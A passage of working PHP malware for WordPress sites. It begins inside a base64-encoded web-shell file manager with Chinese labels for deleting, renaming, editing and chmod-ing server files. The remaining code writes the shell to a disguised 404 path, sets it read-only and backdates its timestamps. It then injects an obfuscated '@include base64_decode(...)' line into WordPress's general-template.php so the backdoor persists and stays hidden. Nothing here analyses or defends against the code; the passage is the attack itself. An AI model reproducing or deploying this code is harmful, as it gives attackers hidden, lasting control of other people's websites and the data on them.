RGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @touch($jue_jiang_404_path, filectime($file_general_template_path)); @chmod($jue_jiang_404_path, 0444); } $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg=="); preg_match_all("/{$pma}/i",$general_template_code,$pr); $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)]; $jj404_b64_path = base64_encode($jue_jiang_404_path); $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code); @chmod($file_general_template_path, 0644); @file_put_contents($file_general_template_path,$new_general_template); @touch($file_general_template_path, filectime($file_general_template_path)); }